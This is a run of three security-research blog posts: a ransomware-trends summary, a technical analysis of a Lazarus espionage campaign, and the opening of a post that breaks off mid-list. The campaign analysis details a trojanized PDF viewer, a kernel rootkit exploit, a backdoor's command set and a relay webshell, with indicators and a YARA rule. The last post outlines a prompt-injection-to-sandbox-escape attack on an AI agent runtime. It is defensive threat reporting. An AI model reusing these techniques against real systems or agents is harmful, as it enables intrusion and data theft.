For the past year, the ransomware conversation has centered on concentration: a handful of dominant RaaS operations controlling most of the damage, and a shrinking pool of active groups fighting over the same territory. The State of Ransomware Q2 2026 report from Check Point Research shows that picture starting to shift. The leaders are still winning, but the road to joining them has gotten a great deal shorter.

Key observed findings 

• The ecosystem stayed concentrated even as its tail widened considerably. The top 10 groups accounted for 57.6% of all victims, down from 71% in Q1, while the number of active groups climbed from 71 to 93, a new high for the period tracked in this report. 
• Victim volume held at an elevated baseline and did not meaningfully change QoQ. Data leak sites recorded 2,139 victims in Q2, essentially flat versus Q1 (up 0.8%) and up 33% year over year, keeping pace with the highs set through 2025. 
• Qilin and The Gentlemen fought a close race for the top spot all quarter. Qilin remained the most prolific operator for a fourth straight quarter with 279 victims, though its count fell 17%, while The Gentlemen surged 62% to 269 victims and actually outpaced Qilin during the month of June. 
• An internal leak gave an unprecedented look inside The Gentlemen’s operation. Chat logs and platform data exposed a core team of roughly nine operators supported by a broader affiliate base, along with confirmation that the group used AI coding assistants to build its ransomware management panel in about three days, genuine first party evidence of AI accelerating malicious tooling development. 
• Ransom payment rates fell to a multi year low near 23%, continuing a six year decline from 85% in 2019. Even so, on chain ransomware payments still exceeded $820 million in 2025, and the payer market itself is splitting: average payments are rising even as the median falls, a sign that large enterprises keep paying heavily while the mid market increasingly holds firm or settles small. 
• Law enforcement concentrated its Q2 efforts on shared infrastructure rather than individual groups. Actions took down a cryptocurrency laundering platform used by multiple ransomware actors, prompted sanctions against major Iranian digital asset exchanges, dismantled a malware signing service abused by several RaaS operations, and disrupted large infostealer and VPN anonymization networks that many groups depend on at once. 
• The geographic picture shifted meaningfully. The US share of victims fell from 50% to 42% quarter over quarter, largely because the quarter’s fastest growing groups, including The Gentlemen and the newly active Krybit, target the US far less often than the ecosystem average. 
• The exploitation window kept narrowing, with AI increasingly cited as the accelerant. Vulnerabilities are now being weaponized within hours to days of disclosure, lowering the cost of exploit development and giving ransomware operators one more edge in the race to reach victims first. 

To read the full findings, access the State of Ransomware Q2 2026 report from Check Point Research here. 

The post The State of Ransomware Q2 2026 appeared first on Check Point Research.

Key Points

• Check Point Research is tracking a long‑running campaign called Operation Dream Job, targeting organizations worldwide, with a particular focus on the defense sector. The campaign is affiliated to DPRK-linked Lazarus group and its latest wave focuses on the defense sector in Europe and India.
• In the latest variant of the Operation Dream Job campaign, the threat actor distributed SecurityPDF, a modified PDF viewer designed to open attacker-crafted PDF documents and execute a new backdoor which we named Troy.
• During the intrusion, the threat actor exploited CVE-2026-68820, a zero-day vulnerability in the Microsoft AFD.sys driver, to deploy a new version of FudModule, Lazarus’ kernel-mode rootkit. Following Check Point Research responsible disclosure, Microsoft released a patch as part of their August Patch Tuesday updates.
• Lazarus also used CVE-2025-49113 to exploit vulnerable Roundcube webmail servers. The compromised servers were infected with RelayShell, a PHP webshell that repurposes compromised web servers as relay nodes within the attacker’s command-and-control infrastructure.
• At least in one case, a compromised organization in Western Europe was leveraged to conduct a spear-phishing campaign, allowing the attackers to abuse the organization’s reputation and trust to target additional victims.

Introduction

Since early 2026, Check Point Research has tracked a wave of the Operation Dream Job campaign. This wave primarily targeted the defense sector worldwide, with a particular emphasis on companies operating in the aerospace and aviation industries.

We observed the threat actor distributing modified PDF viewers designed to execute malicious payloads embedded within specially crafted PDF files, opened by the user. In this campaign, the threat actor expanded its delivery method by leveraging impersonation websites and search engine optimization (SEO) techniques to distribute the trojanized applications, increasing its credibility and helping it evade some phishing-based detections.

During the operation, the threat actor deployed a new version of the FudModule rootkit, exploiting a zero-day local privilege escalation (LPE) vulnerability in the Windows AFD.sys driver, to obtain SYSTEM privileges and disable EDR visibility. Following responsible disclosure, Microsoft assigned the vulnerability CVE-2026-68820 and released a patch on August 11, 2026, as part of their August Patch Tuesday updates.

The attackers’ command-and-control infrastructure consists of compromised Roundcube and WordPress servers hosting RelayShell, a new PHP webshell that repurposes compromised web servers as relay nodes.

In this blog, we analyze the latest Operation Dream Job campaign, walking through the complete attack chain and providing a technical analysis of the malware and the novel techniques employed throughout the operation, offering new insights into the group’s evolving modus operandi.

Infection Chain

The Operation Dream Job campaign begins with targeted spear-phishing lures centered on attractive job opportunities at well-known companies in the defense, aerospace, and aviation industries.

The exact method used to approach victims in the current campaign remains unclear. However, based on previously documented Dream Job campaigns, we assess that the threat actor likely approached targets through professional networking platforms such as LinkedIn, or directly through messaging applications. Posing as recruiters, the attackers present enticing job opportunities and ultimately direct victims to download malicious files.

During our analysis, we identified two distinct infection chains used to compromise targets. While the second chain appears to represent a more recent evolution of the campaign, both infection methods remain active in parallel.

Infection Chain 1: DLL Sideloading chain

In this infection chain, the victim is convinced to download an encrypted zip archive containing three files:

• A legitimate, digitally signed PDF viewer executable.
• A malicious DLL that is loaded through DLL sideloading.
• An encrypted payload with a PDF extension.

When the victim launches the executable, the malicious DLL libmupdf.dll is loaded via DLL sideloading. The DLL extracts a decoy PDF document from the encrypted payload and displays it to the user, while simultaneously extracting, decrypting, and executing an embedded payload directly in memory.

The executed payload is MISTPEN, a lightweight in-memory downloader that uses Microsoft Graph API to access OneDrive in order to retrieve additional modules and run them in memory.

• Reconnaissance: During the initial stages of the infection, the threat actor deploys several reconnaissance modules that collect system and process information, allowing the attacker to verify that the system is a suitable target before proceeding with the next stage of the attack.
• Persistence: Once the target has been validated, MISTPEN receives an additional persistence module that installs the malware on disk and ensures that MISTPEN is automatically executed after system reboot.
• Privilege Escalation: After persistence is established, MISTPEN loads an in-memory local privilege escalation (LPE) module designed to exploit the zero day vulnerability CVE-2026-68820 in the Microsoft AFD.sys driver. Successful exploitation allows the malware to execute FudModule, Lazarus’ kernel-mode rootkit, with SYSTEM privileges.
• Backdoor Deployment: The final backdoor delivered by MISTPEN is the ForestTiger backdoor, a well-documented malware family widely attributed to the Lazarus threat group. Once deployed, it provides the attackers with long-term remote access to the compromised host.

Infection Chain 2: Trojanized PDF viewer

In July 2026, we observed a new campaign sharing many characteristics with previously documented Operation Dream Job, particularly the campaign described by ESET in 2025.

In this infection chain, victims receive fraudulent job offers impersonating Enveil, a Privacy Enhancing Technology company, and are instructed to download an encrypted ZIP archive containing two files:

• SecurityPDF – a trojanized PDF viewer that has been modified to extract and execute an encrypted payload from specially crafted PDF documents.
• A malicious PDF file – an encrypted payload disguised as a PDF document that is decrypted and executed when opened with the modified viewer.

SecurityPDF is a trojanized version of a legitimate open-source PDF viewer built on the MuPDF framework. The threat actor modified two code paths responsible for opening PDF documents: the File → Open dialog and the drag-and-drop file handling routine.

As a result, whenever a user opens a PDF document, the application checks whether the file contains the following marker This document is encrypted with sumatrapdf reader!!!!!!!!!!!!. If the marker is present, the application extracts the embedded payload, decrypts it using a single-byte XOR key (0x39), writes the resulting executable to %TEMP%\new.exe, and launches it as a child process.

The new.exe file is a small executable responsible for reflectively loading an embedded DLL containing the Troy backdoor, a previously undocumented backdoor first observed in this campaign.

In addition, we identified at least three websites impersonating Enveil that distribute the trojanized PDF viewer. Some of these websites rank highly in search engine results, with some even appearing as the top result for relevant search queries. It is important to note that the attacker only impersonates Enveil, and there are no indications that the company was targeted or compromised.

Although we did not directly observe how the threat actor incorporated these websites into the phishing campaign, we assess that they were likely used to separate the delivery of the trojanized PDF viewer from the delivery of the crafted PDF document. In this scenario, victims would first receive the malicious PDF file through a phishing message and later be instructed to download the PDF viewer from what appears to be the vendor’s legitimate website. Separating these infection chain stages reduces the likelihood of detection.

MISTPEN

MISTPEN is the first in-memory module executed during the attack chain. First documented by Mandiant in 2024, it functions as a lightweight downloader that uses the Microsoft Graph API to communicate through attacker-controlled files hosted on OneDrive and retrieve additional payloads

All files exchanged through OneDrive are encrypted with AES, using separate keys for uploads and downloads. MISTPEN’s primary capability is the reflective loading of PE DLL files directly into memory, enabling the deployment of additional payloads without touching disk.

Before delivering the final backdoor, MISTPEN often deploys several in-memory modules designed to perform specific tasks. These modules do not implement their own network communication mechanisms; instead, they execute their designated tasks and return the resulting data to MISTPEN, which uploads it to the C2.

Below is a description of the modules we observed being loaded by MISTPEN during our analysis.

GetInfoPlugin – Host Reconnaissance Module

This module is a 64-bit Windows DLL internally named Release_GetInfoPlugin_x64.dll. Its primary purpose is to profile the compromised host and return the collected information as a single wide-character string.

The module collects basic system information, including the machine’s domain or workgroup membership (via NetGetJoinInformation), the computer name, the current user name, and the operating system version and build number. The collected data is formatted in the following template and returned to MISTPEN:

Domain: <domain_or_workgroup>
ComputerName: <hostname>
UserName: <username>
OsInfo: <Windows product name> <build_number>.<UBR>

PvPlugin – Process List Module

This module is a 64-bit Windows DLL internally named Release_PvPlugin_x64.dll. It serves as an extended version of the GetInfoPlugin module, collecting the same host reconnaissance data while adding detailed information about running processes.

For each running process, the module collects the Process PID, PPID, creation timestamp, associated domain and user, and process name. The collected information is formatted into a tabular process list and returned to MISTPEN.

OneScreenCapture – Screenshot Module

This module is a 64-bit Windows DLL internally named OneScreenCapture64.dll, it is responsible for capturing the current desktop (including all monitors) and returns the screenshot to its caller.

The module uses standard Windows USER32 and GDI APIs to capture the virtual desktop into a bitmap. The bitmap is then converted to a JPEG image and Base64-encoded into a single wide-character string before being returned to MISTPEN for exfiltration.

LPE loader

This module is a 64-bit Windows DLL that acts as a loader for a local privilege escalation (LPE) exploit module. It is loaded by an extended version of MISTPEN that provides it with an RPC buffer used for communication between the two components. Messages written to this buffer are forwarded by MISTPEN to the attacker through its existing Microsoft Graph API communication channel, while responses received from the C2 are relayed back to the module through the same interface.

In addition to MISTPEN’s AES-based transport encryption, the module encrypts all exchanged data using GOST-CBC with a randomly generated 16-byte session key. The encrypted data is then Base64-encoded, with the session key prepended to each packet.

The module operates in four stages:

1. Host Fingerprinting – The module gathers detailed information about the compromised host, including the operating system version, build number, installed security products, and other system characteristics.
2. Key Exchange – The module requests a set of four public keys from the C2 server.
3. Session Key Generation – Using the received public keys, the module generates new key material using the Kyber/ML-KEM algorithm and transmits the resulting encapsulated key material back to the C2.
4. LPE Deployment – Finally, the module requests the encrypted LPE payload, decrypts it using the negotiated key, and executes it directly in memory with export DestroyEnv. Throughout the process, status messages are sent back to the C2 to indicate whether each stage of the exploitation succeeded.

The downloaded LPE payload is FudModule, Lazarus’ kernel-mode exploit module. It exploits a local privilege escalation vulnerability to obtain SYSTEM privileges and injects a payload into a SYSTEM process. In the observed attack, the injected payload was another instance of MISTPEN, allowing the malware to continue operating with elevated privileges and without EDR visibility.

CVE-2026-68820: Yet another Zero-Day discovered by Lazarus

The file we investigated, Afd4Eop12_x64.dll, has a compiler timestamp of July 7, 2026, 22:07:44 UTC. Its strings immediately suggest a variant of FudModule, including references such as “enable_god_mode passed.” and a main function similar to previous Fud Modules. FudModule is a Lazarus privilege escalation tool, reported and being used since around 2021.

The module targets afd.sys, the Windows Ancillary Function Driver, a part of the Windows kernel that is in charge of managing and handling sockets in Windows. In 2024, FudModule was reported to use another zero-day, CVE-2024-38193, a use-after-free vulnerability in the same afd.sys driver.

At first sight, the vulnerability looked similar to CVE-2025-60719, which is also a use-after-free vulnerability in the AFD.sys driver fixed in November 2025 and not linked to any particular threat actor. In the sample itself, we observed an explicit minimum-version check for Windows 11 build 26100 (24H2), with explicit support also for build 26200 (25H2). However, testing on the latest fully patched Windows 11 system confirmed that the exploit targets a distinct, previously undocumented vulnerability, actively being used in the wild as a part of Operation ‘Dream Job’ since at least early July 2026.

We will not be disclosing full technical details of the vulnerability in this article, as it was patched on the August 11 Patch Tuesday fix. At a high level, the exploit takes advantage of how afd.sys handles a socket is created when it is accessed concurrently by several threads at once.

The driver maintains a small piece of information about the state associated with each socket. Under specific concurrent conditions, two of its own code paths can operate on this state at the same simultaneously, without synchronization, creating a race condition If triggered at the right moment, one code path can access memory after it has already been released by another, resulting in a use-after-free vulnerability.

From there, the module does what these modules do – it leverages this memory corruption to obtain a kernel read/write primitive, which is subsequently used to achieve local privilege escalation to SYSTEM.

We disclosed the issue to Microsoft, and Microsoft issued a fix quickly.

Disclosure timeline

• Jul 28, 2026: Issue reported to the Microsoft Security Response Center (MSRC).
• Jul 31, 2026: Microsoft confirmed the bug
• Aug 5, 2026: Microsoft assigned CVE-2026-68820 to the issue.
• Aug 11, 2026: Fixed on Patch Tuesday.

FudModule v3.1

Except for a novel, completely different exploit chain, this FudModule’s post-exploitation behavior is quite similar to FudModule v3, reported by Gen Digital back in 2024.

Shared with v3

• The entire telemetry teardown suite: process, thread, and image notify callbacks; object and registry callbacks; minifilter removal by altitude band; and the termination of the NT Kernel Logger.
• Crash-dump suppression, executed before everything else.
• The WFP stage, which is activated when Kaspersky is present and Symantec is absent.
• The hardcoded ETW provider kill-list: its 94 GUIDs match the first 94 entries of Gen’s published 95-GUID list, in identical order.
• The driver selection engine, with the same universal preserve list and per-class keep and kill rules.
• Privileged-handle forgery and the same two-hop spawn through services.exe into a SYSTEM msiexec.exe process.
• Logging vocabulary, surviving essentially string-for-string, including: GetGodMode failed, GetSystemHandle passed., CreateRemoteProcess passed., RemoteDllExecute passed., and the ClearVaccine* family.

Functionality removed from v3

• The dedicated Microsoft Defender stage used to disable monitoring of MsMpEng.exe. Only the orphaned string SuspendDefender passed. remains, and is no longer referenced by executable code, while Gen’s FudModule v3 YARA rule contains the active-stage variant SuspendDefender skipped.
• The PPL stripping functionality targeting AhnLab’s asdsvc.exe.

Microsoft Defender is still blinded here, but only through the generic security-product suppression engine, like any other vendor, rather than through a dedicated Defender-specific stage.

New functionality since v3

• A Smart App Control tampering functionality not documented in publicly analyzed FudModule versions through v3. Within the SYSTEM-level msiexec.exe child process, its remote stub sets VerifiedAndReputablePolicyState to zero and invokes NtSetSystemInformation class 0xA4 with option 0x10000000, triggering an in-place reload of the code integrity policy.

Targeting

As mentioned before, this version only targets newer Windows builds 26100/26200, unlike the previous version that also targeted older ones.

Troy Backdoor

The Troy backdoor is a newly identified modular remote access trojan in Lazarus’ arsenal. Delivered as a 64-bit DLL, it supports 17 operator commands, providing a broad range of remote access and post-exploitation capabilities.

The name Troy is derived from a PDB path embedded in the sample: E:\HK\Tool_Module\Troy_Handle\1Troy_Create_Dll_Tool\x64\Release\Test_Dll.pdb. Notably, the term Troy has also appeared in PDB paths associated with previously documented Lazarus samples. For example, an ESET report published last year documented a sample containing a PDB path E:\Work\Troy\안정화\...

The Troy backdoor supports three Command and Control (C2) servers, each configured with a URL and port. At startup, the implant iterates through the configured servers in order, parsing each URL into its host and path components, establishing an HTTP connection, and issuing a connection request. It validates the response against the string CONNECTED and uses the first server that responds successfully.

The initial connection is followed by a challenge-response handshake used to authorize the implant against the server. Once authenticated, Troy collects host information and registers the victim by sending a client identifier and a system profile containing the user profile directory, account name, Windows version, local IPv4 address, and current working directory.

Following registration, Troy enters its command-processing loop. Tasks received from the C2 server are Base64-encoded; the implant decodes them and identifies commands using plaintext prefix matching. Command results are returned through the send channel in a compact JSON envelope: { "to":"<channel>", "msg":"<base64>" }. Responses that exceed the maximum message size are divided into numbered chunks and reassembled on the C2 side.

The Troy backdoor provides a notably broad feature set for a single-DLL implant, and a cohesive design. Its seventeen supported commands span the capabilities required for each stage of post-compromise operations, from initial reconnaissance and file operations, to command execution and in-memory code delivery, while following a consistent tasking and result-framing model throughout.

Troy Backdoor Supported C2 Commands

Command	Capability	What it does
WAIT	Keepalive	Server-side no-op that keeps the session alive and feeds the idle back-off counter.
DRIVES	Drive enumeration	Reports every mounted volume letter present on the host.
LIST|<path>	Directory listing	Enumerates a directory with names, sizes and timestamps, sending the listing length first and the listing itself second.
OPEN|<exe> [args]	Process creation	Launches an executable with arguments in a hidden window with no console.
DELETE|<path>	File and folder deletion	Removes a single file, or an entire directory tree through a silent shell file operation.
ZIPDOWNLOAD|<src>|<dst>	Archive and exfiltrate	Compresses a path with PowerShell Compress-Archive into a temporary archive, uploads it, then removes the archive.
DOWNLOAD|<victim-source>|<client-destination>	File exfiltration	Streams a file from the victim to the operator in chunks.
UPLOAD|<client-source>|<victim-destination>	File drop	Writes an operator-supplied file to disk, appending the filename when the destination is a directory.
CMD|<commandline>	Interactive shell	Runs a command and captures its output, tracking cd /d so the working directory persists between commands, with a 10 second execution watchdog.
mem <dllpath> <pid>	In-memory DLL injection	Maps a DLL into a remote process using an embedded reflective loader, matching architecture before injecting.
pk <pid>	Process termination	Terminates a process by identifier and reports the outcome.
sleep <N>	One-shot delay	Pauses the implant for N minutes without changing the stored interval.
DEFAULTSLEEP	Configured delay	Acknowledges, then pauses for the currently configured beacon interval.
GET_CONFIG	Configuration read	Returns the stored configuration as eight fields covering the client ID, the sleep interval, and the three server and port pairs. The stored values may differ from the connection actually in use.
SET_CONFIG|	Configuration update	Writes eight replacement fields into stored configuration state. Only the idle interval takes effect at runtime, because the connection loop does not read the stored servers and the port remains hardcoded to 80.
pvd	Process listing with command lines	Enumerates processes with session, owner and start time, enriched with full command lines retrieved over WMI.
pv	Process listing	The same enumeration without the command line column.

Compromised Infrastructure Used as ForestTiger C2

As previously reported, ForestTiger’s C2 infrastructure has historically relied primarily on compromised servers mainly running WordPress and SharePoint. In more recent campaigns, the threat actor appears to have shifted toward using compromised Roundcube webmail servers as C2 infrastructure.

The majority of the Roundcube servers we analyzed were running versions vulnerable to CVE-2025-49113, a critical PHP Object Deserialization vulnerability that can lead to remote code execution (RCE). Exploitation of this vulnerability requires authentication with valid Roundcube credentials. During our investigation, we identified several credential leaks that are available in the Darkweb, and contain usernames and passwords associated with accounts on the compromised webmail servers. We assess that the threat actor likely leveraged these credentials to authenticate to the affected Roundcube instances before exploiting CVE-2025-49113 to deploy RelayShell web shells, which subsequently serve as a C2 relay mechanism.

In addition, we observed the threat actor compromise PrestaShop websites and deploy the same RelayShell web shell.

RelayShell

Following the post-exploitation of a web server, the threat actor deployed a previously undocumented PHP web shell that we named RelayShell. Unlike a traditional web shell that provides direct command execution, RelayShell primarily acts as a communication relay between the threat actor and an infected endpoint.

RelayShell operates in two distinct modes, selected by the password supplied in the HTTP POST request. For clarity, we refer to these as Victim mode and Operator mode.

Victim Mode

When accessed using the victim password, RelayShell creates a new PHP session that is subsequently used for communication with the infected endpoint.

The webshell then decrypts a hidden configuration stored in an external file using a custom substitution cipher. The configuration contains two values:

• A backbone URL
• A unique identifier (PID) assigned to the compromised server

RelayShell then immediately sends an HTTP POST request to the configured backbone URL using the unique identifier and authentication password.

Based on our analysis, the backbone URL appears to point to another RelayShell instance acting as an upstream relay or notification server. This request signals that a new victim session has been established, allowing the operator to subsequently connect using the second password.

Operator Mode

When accessed using the operator password, RelayShell enters operator mode, providing a set of commands for interacting with the compromised server. These commands support session management, connectivity checks, file upload and deletion, and retrieval of activity logs.

Command Type	Description
Session auth / selection	Scans existing .ses files, picks the latest session, and returns its data.
Check & cleanup	Updates configuration, deletes old session/log/temp files, and checks connectivity to the backbone URL.
Download log	Sends back the encoded log file containing activity records.
File upload	Writes an arbitrary file to disk, using Base64‑encoded filename and content.
Self‑delete / file removal	Self-delete  Deletes a specified file (provided as Base64‑encoded path).

File-Based Communication Channel

After both the victim and operator sessions are established, RelayShell provides two commands, send and receive, which implement a lightweight file-based communication channel using temporary files stored on the compromised server.

Messages are exchanged through files following the naming convention <session_id><object>.log where object identifies the side of the communication channel: 1 for the victim and 2 for the operator.

When sending data, RelayShell writes the supplied content to the session file corresponding to the sender. When receiving data, RelayShell reads and returns the contents of the file corresponding to the opposite side, creating a bidirectional communication between the victim and the operator.

This mechanism effectively turns the compromised web server into a relay node. The victim-side implant establishes the session and notifies the backbone server that is monitored by the threat actor , after which the actor connects to the RelayShell instance and exchanges commands and responses through the file-based messaging channel.

During our investigation, we observed the threat actor accessing RelayShell through shared VPN services, including ExpressVPN, further obscuring the origin of their infrastructure.

We also identified 17 unique identifiers, suggesting that at least 17 compromised servers were likely used as relay nodes during the campaign. However, we were unable to identify all of the affected servers.

Victimology

This new Operation Dream Job campaign focused heavily on the defense sector, particularly organizations involved in military technologies such as surveillance sensors, drones, and robotics. The campaign had a global reach, with activity extending into South America, including Brazil, and successful targeting observed in Western Europe, including France and Germany.

During the campaign, a compromised organization headquartered in France was later leveraged by the threat actor to conduct spear-phishing attacks against targets worldwide, likely to increase the perceived campaign’s authenticity and credibility.

Another notable target was India, which has a substantial and rapidly growing defense and aerospace industry, with expanding domestic production and technology exports.

Conclusion

The latest Operation Dream Job campaign demonstrates that Lazarus continues to evolve both its malware capabilities and operational tradecraft. Beyond deploying a new version of FudModule that exploits the CVE-2026-68820 zero-day vulnerability, the threat actor also refined its initial access techniques by combining targeted spear-phishing with impersonation websites and search engine optimization (SEO) to distribute trojanized software.

The threat actor’s decision to rely on compromised Roundcube instances and content management system (CMS) servers for C2 reflects an operational approach well suited to highly monitored defense-sector environments, where network activity may be closely inspected by organizational security teams as well as government and national cybersecurity authorities. By abusing legitimate web infrastructure, the threat actor can better blend malicious communications within normal network traffic.

Our findings highlight Lazarus’s continued evolution toward stealthier and more resilient operations, combining new delivery techniques, modular malware, zero-day exploitation, and compromised web infrastructure. We believe the technical details presented in this research will help defenders identify, detect, and disrupt future Operation Dream Job campaigns.

IOCs

DLL Loader\Dropper
2b4987c07a3d9a9a5d1a9bf4efa3d1903e775090b611710edafdc92874265ca8
3a02d0d798e8d35555776886d92b20ff38a101c9ef7e0eebc8ce5d259516525a
92106b0c62a0a42678232f8273f030b2d3c8e92efce81b98b9eec70cfe98afa1
396192d92d17ace1a521f1351eeeba2825e60badd0d799cc5c338e4934b3c82c
f7e620134ca935067797ab957317b346ce0df84a4e9b9ca54a6acc9b75afda4d
75b93a7103b0562f6497d30052c0c5cf7aa58c1bf0e9297022b74469a7f096f1
a45144d22cac70a45d71cf4dffa4efbc373658779a56cf1300d6ac863d6cc7e2
1de949c71efcfb0ffc41f33d38833dbc4b082075b1a540fc68c18c535d7ad86c
4c9b804d6155b29f1e27a9ffe531e10bc42a7bdab42f905b50146bf2026768d9
29e24c007549e51319ff3aee011da6f9f93568e8c85a5ad69c9e53bd3f4533a2
4ebdce2f47c23ff8c9e8e80c8b5239c7a5764da31cd3ab8f0505926890adc105
c2aa28bb5e2a749c693712008276f311edd912f689371ef9e8a1ee5fb4167461

MISTPEN
2db25ac41a66aa523c79e23e00443573530dd7bd82b8371bcc87bd7232e141eb
5278ee922838352f1480a73e971161017d643a80b7ec22bf725897dfd088696d
b4082d21070d9ddf53fde4ea22524d09e41ec9826ce63cef3c6235e458d21afb
fb3fc5626f68677fb1269a2fefbe70e719211b4065e836ab92e06a8210139a2d
ea7056f2bf36c66a61ff787ff5be975a85f534c3c5ca178791dac2504db2c619
13d10bc99f7f7abe7ee0902be87920b73b2ea41bd9683dbfcad340dacbcdef79
4fd32432341dfcf54d0517a6bbc38e5d265be70933493e4183c2a340cdde9a2d
4dd792c9f672bbdcc8d363d745994efe90f4ffc5fdc2c059c8e379a48ad6a68a
ba96c603e44046de703c67b2c3b7e4ca974afef7b437a0244418bc4edc781bb7

ForestTiger
72dccae85e062f541fecad9ec7a18a3123e7ae5ac5d53c91709b53a46dbbd289
231b1ef8b95bf77887d5377e2a60f649035e78f543af1b82877db36a5759d858
6da9b1e6f3315ceb77dd14a937a26cc3602bf6a7e2c2ecafb3c65ce5319837be
a0578a2b7821d7e2c573530648f26d7a0d98b373ab24fb7f0c792736761e542d
82268052f94df6f4870d02e57b18d4c54136cc7a8c8d80ad162631f99462c943

FudModule
3b6378df8442e63a6ed7317075913e4720847a510d95022d4a8347b2637c245d

PDF Payload
a673ae661593c0de9bbb815593b816a6853dad6d55ad5042d2ef1875cd13d6e7
8ce6c29f92dc45b1474417cbdff4ed0c18e58fa63e3a071ee9f85aa9d2aac07c
acb97cec84e08b89f41967a24e965d1fd2c51751cef158f7aa35bb4306b87b97
3601060c62edeeaa49def6a13be6e126e1024ce011faad4e2d9f585ccf6bd5a6
fecf12088843801215898442bd1ff3e266f29d14e29a94780e857f69c4915d6b
d578c28c9afe7457a0d81f6701332ef8197e8f7468de654935fb29a50ea66459

SecurityPDF.exe
743172aab606974b054a64561534ae66baa3a840657f79d7c6fa18350e8d45d1
db3d69b7eeda2e35e23006bf4b7e206281fce809584207214fc213f9bc30376d

Troy Backdoor
590fb6ae19480d694e08ee85859cad8066f2f87e7e5abba2960c6d115e1615d6
68d4fba7b1300a59cd6212c08910a260cd71b40cd9f51cac933030a68faac0bb
a738059ce07c951c31ab2da3d93d8f69bff32f9b7d933dbf5943441b9cc99075

RelayShell
21c3ad4838c4324bc5f081021da5fb2e9073d0c9304087811c21eb47c9e22762
cc4e06aa378a190f71384c03023bb3d18a6d66e297d46701220e132963d2e222

SecurityPDF Website & Troy C2
envell[.]xyz
enveil[.]online
uxtramine[.]org
135.181.67[.]203
135.181.185[.]158

YARA – RelayShell Webshell

rule lazarus_relayshell
{
  meta:
    author = "@_CPResearch_"
    description = "Lazarus RelayShell Webshell"
    target_entity = "file"
    hash = "21c3ad4838c4324bc5f081021da5fb2e9073d0c9304087811c21eb47c9e22762"
  strings:
    $str1 = "'PqCWom'"
    $str2 = "'a84038'"
    $str3 = "'biwbih'"
    $str4 = "'ddf7acea'"
    $str5 = "'enRU904U'"
    $str6 = "'fou2rm'"
    $str7 = "'kurhiW'"
    $str8 = "'qcrgl'"
    $str9 = "'rlzbiw'"
    $str10 = "'tmmvr1'"
    $str11 = "'win386'"
    $str12 = "\"biwbih\""
    $str13 = "\"PqCWom\""
    $str14 = "\"a84038\""
    $str15 = "\"ddf7acea\""
    $str16 = "\"enRU904U\""
    $str17 = "\"fou2rm\""
    $str18 = "\"kurhiW\""
    $str19 = "\"qcrgl\""
    $str20 = "\"rlzbiw\""
    $str21 = "\"tmmvr1\""
    $str22 = "\"win386\""
    $str23 = "D9hWnVEqdgzJ67/B8euS0yKCIMrw5jc:fGUX3AakLH2oYQRp"
  condition:
    3 of ($str*)
}

The post Shattering the Dream – When a Job Offer Becomes a Zero-Day Attack appeared first on Check Point Research.

By Yarden Porat, Check Point Research

Key Points

• Check Point Research analyzed Cloudflare Code Mode, a technique that changes how AI agents use MCP by turning tools into a TypeScript API the model can write code against.
• The research uncovered five vulnerabilities in workerd, the open-source runtime behind Code Mode and Cloudflare Workers. Two were rated Critical by Cloudflare.
• The blast radius is broad: by Cloudflare’s own numbers, Workers is built by millions of developers,[1] serves millions of requests per second,[2] and carries more than 10% of all traffic on Cloudflare’s network.[3]
• Because workerd underpins both Code Mode sandboxes and Workers tenant isolation, the findings create sandbox-escape and cross-tenant exposure risk.
• Cloudflare’s managed Workers environment has been fixed in production. Self-hosted workerd / Code Mode deployments should update to v1.20260619.1.
• Check Point Research released proof-of-concept code as part of its Black Hat USA 2026 presentation.

The short version

We set out to break Cloudflare Code Mode, and ended up breaking Cloudflare Workers too. We did both by targeting workerd, the runtime beneath both: an in-process sandbox that relies entirely on V8 to isolate untrusted code.

We found five memory-corruption bugs in workerd’s native C++ (the “glue” between JavaScript and the runtime), and turned them into two end-to-end attacks:

1. Cross-tenant heap swipe. An out-of-bounds read in URLPattern lets one Worker reach across the shared process heap and swipe another tenant’s secrets.
2. Code Mode sandbox escape. Starting from a prompt injection, a use-after-free in node:zlib breaks out of the sandbox and runs native code on the host.

Part I – Understanding the target

1. Where this started: Code Mode

Code Mode is Cloudflare’s take on LLM tool use. Instead of a model emitting structured tool calls one at a time, Code Mode exposes the available tools as a typed TypeScript API and lets the model write code that calls them: loops, conditionals, data shuffling and all.

In the traditional MCP / tool-calling loop, the model emits one {tool, args} call, the agent runs it, feeds the result back. The model then emits the next call. Every step is a fresh model invocation, and usually a network round-trip. Code Mode collapses that: the model writes one program that orchestrates many tool calls itself (looping, branching, and combining intermediate results locally) and only the final output returns to the model.

Cloudflare’s argument is that LLMs, trained on enormous amounts of real-world code, are simply better at writing a program against a typed API than at emitting long chains of synthetic tool calls. [4]

Figure 1 – Tool calling vs. Code Mode

That code has to run somewhere, and that “somewhere” is workerd, the runtime behind Cloudflare Workers.

2. The workerd origin story

To understand workerd, start with the product it was built for: Cloudflare Workers. Workers is Cloudflare’s serverless platform: you upload a piece of code and Cloudflare runs it at the edge, in data centers close to the user, on demand for every request. There’s no server to manage and, ideally, no cold machine to wait for.

That model creates a hard isolation problem. Cloudflare runs code from a huge number of different customers, and to keep latency and cost down it packs many of them onto the same machines, and, as we’ll see, into the same process. The classic answer (a container or VM per tenant) is far too heavy for this: each one adds tens to hundreds of milliseconds of cold start and a real memory footprint, which is exactly what an edge platform serving oceans of short requests cannot afford.

Cloudflare’s answer is to isolate at the language-runtime level rather than the OS level, using V8 isolates, the same primitive Chrome uses to separate browser tabs. An isolate is a lightweight, independent JavaScript context. Many can live inside a single process, each starts in single-digit milliseconds, and the isolate is the security boundary between tenants.

The trade-off is that this boundary is a software boundary inside one shared address space, not a hardware or kernel one. Untrusted code runs in-process, and the whole model rests on the isolate holding.

Figure 2 – Many tenants, one process

workerd is the runtime that implements all of this. It was closed-source for years: Workers launched in 2017, but Cloudflare only released workerd as open source in September 2022.[5] It’s exactly what Code Mode runs the model’s generated code on.

3. Why workerd was the obvious sandbox for Code Mode

Code Mode has to run untrusted, model-written code, and it needs that code to reach the declared MCP tools and nothing else. workerd answers both at once.

Running untrusted tenant code in-process is its day job, and it lets Code Mode lock the rest down: no filesystem, no arbitrary network (fetch() and connect() simply throw) with the tools exposed only through bindings.[6] Cloudflare didn’t build a new sandbox for Code Mode. It reused the one it already trusts to isolate millions of Workers.

4. Why we targeted workerd

When you set out to break Code Mode, the obvious place to look is the seam between Code Mode and workerd. This is the integration layer: how tools become bindings, how the configuration is wired, how the two interact. Going after the runtime itself is the unusual move. It’s a bit like setting out to break an AI coding assistant and then going to audit Docker’s own source code, the container runtime itself, not the agent on top of it.

Five reasons made us decide to do it anyway:

